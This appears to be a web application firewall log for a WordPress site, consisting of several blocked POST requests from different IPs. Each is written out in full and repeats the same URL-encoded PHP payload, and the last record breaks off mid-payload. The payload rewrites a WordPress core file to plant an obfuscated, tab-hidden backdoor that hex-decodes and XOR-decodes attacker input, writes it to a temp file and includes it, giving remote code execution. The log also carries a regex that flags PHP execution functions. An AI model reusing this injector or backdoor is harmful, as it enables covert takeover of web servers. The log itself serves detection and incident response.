["2026-05-12 09:43:18","103.143.207.18","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Fh:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status417.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522pa%255Cx72%255Cx61m%255Cx65t%255Cx65%255Cx72_%255Cx67%255Cx72%255Cx6Fup%2522%2529%2529%257B%2520%2524desc%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520%2524ent%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522pa%255Cx72%255Cx61m%255Cx65t%255Cx65%255Cx72_%255Cx67%255Cx72%255Cx6Fup%2522%255D%2529%253B%2520%2524rec%2520%253D%2520%2527%2527%2520%253B%2520%2524o%2520%253D%25200%253B%2520do%257B%2524rec%2520.%253D%2520chr%2528ord%2528%2524ent%255B%2524o%255D%2529%2520%255E%252068%2529%253B%2524o%252B%252B%253B%257D%2520while%2528%2524o%2520%253C%2520strlen%2528%2524ent%2529%2529%253B%2520%2524factor%2520%253D%25200%253B%2520do%2520%257B%2520%2524elem%2520%253D%2520%2524desc%255B%2524factor%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524factor%2520%253E%253D%2520count%2528%2524desc%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524elem%2529%2520%253F%2520is_writable%2528%2524elem%2529%2520%253A%2520false%2529%2520%257B%2520%2524hld%2520%253D%2520%2522%2524elem\/.marker%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524hld%252C%2520%2524rec%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524hld%253B%2520%2540unlink%2528%2524hld%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%2524factor%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:4191\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEztvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nFh=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status417.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522pa%255Cx72%255Cx61m%255Cx65t%255Cx65%255Cx72_%255Cx67%255Cx72%255Cx6Fup%2522%2529%2529%257B%2520%2524desc%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520%2524ent%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522pa%255Cx72%255Cx61m%255Cx65t%255Cx65%255Cx72_%255Cx67%255Cx72%255Cx6Fup%2522%255D%2529%253B%2520%2524rec%2520%253D%2520%2527%2527%2520%253B%2520%2524o%2520%253D%25200%253B%2520do%257B%2524rec%2520.%253D%2520chr%2528ord%2528%2524ent%255B%2524o%255D%2529%2520%255E%252068%2529%253B%2524o%252B%252B%253B%257D%2520while%2528%2524o%2520%253C%2520strlen%2528%2524ent%2529%2529%253B%2520%2524factor%2520%253D%25200%253B%2520do%2520%257B%2520%2524elem%2520%253D%2520%2524desc%255B%2524factor%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524factor%2520%253E%253D%2520count%2528%2524desc%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524elem%2529%2520%253F%2520is_writable%2528%2524elem%2529%2520%253A%2520false%2529%2520%257B%2520%2524hld%2520%253D%2520%2522%2524elem\/.marker%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524hld%252C%2520%2524rec%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524hld%253B%2520%2540unlink%2528%2524hld%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%2524factor%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:43:21","77.65.47.245","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> zl:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status417.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522pa%255Cx72%255Cx61m%255Cx65t%255Cx65%255Cx72_%255Cx67%255Cx72%255Cx6Fup%2522%2529%2529%257B%2520%2524desc%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520%2524ent%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522pa%255Cx72%255Cx61m%255Cx65t%255Cx65%255Cx72_%255Cx67%255Cx72%255Cx6Fup%2522%255D%2529%253B%2520%2524rec%2520%253D%2520%2527%2527%2520%253B%2520%2524o%2520%253D%25200%253B%2520do%257B%2524rec%2520.%253D%2520chr%2528ord%2528%2524ent%255B%2524o%255D%2529%2520%255E%252068%2529%253B%2524o%252B%252B%253B%257D%2520while%2528%2524o%2520%253C%2520strlen%2528%2524ent%2529%2529%253B%2520%2524factor%2520%253D%25200%253B%2520do%2520%257B%2520%2524elem%2520%253D%2520%2524desc%255B%2524factor%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524factor%2520%253E%253D%2520count%2528%2524desc%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524elem%2529%2520%253F%2520is_writable%2528%2524elem%2529%2520%253A%2520false%2529%2520%257B%2520%2524hld%2520%253D%2520%2522%2524elem\/.marker%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524hld%252C%2520%2524rec%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524hld%253B%2520%2540unlink%2528%2524hld%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%2524factor%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4191\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrzjvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvrS9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nzl=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status417.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522pa%255Cx72%255Cx61m%255Cx65t%255Cx65%255Cx72_%255Cx67%255Cx72%255Cx6Fup%2522%2529%2529%257B%2520%2524desc%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520%2524ent%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522pa%255Cx72%255Cx61m%255Cx65t%255Cx65%255Cx72_%255Cx67%255Cx72%255Cx6Fup%2522%255D%2529%253B%2520%2524rec%2520%253D%2520%2527%2527%2520%253B%2520%2524o%2520%253D%25200%253B%2520do%257B%2524rec%2520.%253D%2520chr%2528ord%2528%2524ent%255B%2524o%255D%2529%2520%255E%252068%2529%253B%2524o%252B%252B%253B%257D%2520while%2528%2524o%2520%253C%2520strlen%2528%2524ent%2529%2529%253B%2520%2524factor%2520%253D%25200%253B%2520do%2520%257B%2520%2524elem%2520%253D%2520%2524desc%255B%2524factor%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524factor%2520%253E%253D%2520count%2528%2524desc%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524elem%2529%2520%253F%2520is_writable%2528%2524elem%2529%2520%253A%2520false%2529%2520%257B%2520%2524hld%2520%253D%2520%2522%2524elem\/.marker%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524hld%252C%2520%2524rec%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524hld%253B%2520%2540unlink%2528%2524hld%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%2524factor%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:43:23","192.3.12.164","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Pe:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status417.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522pa%255Cx72%255Cx61m%255Cx65t%255Cx65%255Cx72_%255Cx67%255Cx72%255Cx6Fup%2522%2529%2529%257B%2520%2524desc%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520%2524ent%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522pa%255Cx72%255Cx61m%255Cx65t%255Cx65%255Cx72_%255Cx67%255Cx72%255Cx6Fup%2522%255D%2529%253B%2520%2524rec%2520%253D%2520%2527%2527%2520%253B%2520%2524o%2520%253D%25200%253B%2520do%257B%2524rec%2520.%253D%2520chr%2528ord%2528%2524ent%255B%2524o%255D%2529%2520%255E%252068%2529%253B%2524o%252B%252B%253B%257D%2520while%2528%2524o%2520%253C%2520strlen%2528%2524ent%2529%2529%253B%2520%2524factor%2520%253D%25200%253B%2520do%2520%257B%2520%2524elem%2520%253D%2520%2524desc%255B%2524factor%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524factor%2520%253E%253D%2520count%2528%2524desc%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524elem%2529%2520%253F%2520is_writable%2528%2524elem%2529%2520%253A%2520false%2529%2520%257B%2520%2524hld%2520%253D%2520%2522%2524elem\/.marker%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524hld%252C%2520%2524rec%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524hld%253B%2520%2540unlink%2528%2524hld%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%2524factor%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:4191\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHTHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmMKZvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nPe=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status417.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522pa%255Cx72%255Cx61m%255Cx65t%255Cx65%255Cx72_%255Cx67%255Cx72%255Cx6Fup%2522%2529%2529%257B%2520%2524desc%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520%2524ent%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522pa%255Cx72%255Cx61m%255Cx65t%255Cx65%255Cx72_%255Cx67%255Cx72%255Cx6Fup%2522%255D%2529%253B%2520%2524rec%2520%253D%2520%2527%2527%2520%253B%2520%2524o%2520%253D%25200%253B%2520do%257B%2524rec%2520.%253D%2520chr%2528ord%2528%2524ent%255B%2524o%255D%2529%2520%255E%252068%2529%253B%2524o%252B%252B%253B%257D%2520while%2528%2524o%2520%253C%2520strlen%2528%2524ent%2529%2529%253B%2520%2524factor%2520%253D%25200%253B%2520do%2520%257B%2520%2524elem%2520%253D%2520%2524desc%255B%2524factor%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524factor%2520%253E%253D%2520count%2528%2524desc%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524elem%2529%2520%253F%2520is_writable%2528%2524elem%2529%2520%253A%2520false%2529%2520%257B%2520%2524hld%2520%253D%2520%2522%2524elem\/.marker%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524hld%252C%2520%2524rec%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524hld%253B%2520%2540unlink%2528%2524hld%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%2524factor%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:43:25","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> lw:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status417.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522pa%255Cx72%255Cx61m%255Cx65t%255Cx65%255Cx72_%255Cx67%255Cx72%255Cx6Fup%2522%2529%2529%257B%2520%2524desc%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520%2524ent%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522pa%255Cx72%255Cx61m%255Cx65t%255Cx65%255Cx72_%255Cx67%255Cx72%255Cx6Fup%2522%255D%2529%253B%2520%2524rec%2520%253D%2520%2527%2527%2520%253B%2520%2524o%2520%253D%25200%253B%2520do%257B%2524rec%2520.%253D%2520chr%2528ord%2528%2524ent%255B%2524o